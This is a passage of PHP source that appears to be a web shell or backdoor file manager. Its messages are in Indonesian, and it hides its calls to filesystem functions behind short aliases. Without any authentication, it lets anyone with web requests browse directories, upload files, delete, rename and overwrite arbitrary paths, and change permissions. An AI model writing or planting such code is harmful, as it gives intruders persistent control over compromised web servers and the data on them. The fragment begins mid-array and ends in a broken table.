'getcwd',
'chd' => 'chdir',
'ls' => 'scandir',
'rm' => 'unlink',
'rn' => 'rename',
'up' => 'move_uploaded_file',
'put'=> 'file_put_contents',
'get'=> 'file_get_contents',
'sz' => 'filesize',
'is' => 'is_dir',
'chm'=> 'chmod',
'oct'=> 'octdec'
];
if (isset($_GET['d'])) $fx['chd']($_GET['d']);
$pwd = $fx['cwd']();
$list = $fx['ls']($pwd);
if ($_FILES['f']) {
$tmp = $_FILES['f']['tmp_name'];
$name = basename($_FILES['f']['name']);
$dest = $pwd . "/" . preg_replace('/[^a-zA-Z0-9_\.-]/', '_', $name);
if ($fx['up']($tmp, $dest)) echo "Upload sukses: $name
";
else echo "Gagal upload!
";
}
if ($_POST['a'] === 'rename') {
$fx['rn']($_POST['src'], $_POST['dst']);
}
if ($_POST['a'] === 'edit') {
$fx['put']($_POST['src'], $_POST['dat']);
}
if ($_POST['a'] === 'chmod') {
$fx['chm']($_POST['src'], $fx['oct']($_POST['perm']));
}
if (isset($_GET['del'])) {
$fx['rm']($_GET['del']);
}
echo "
| Name | Size | Action |
|---|---|---|
| $f | $size | Del | Rename | Edit | Chmod |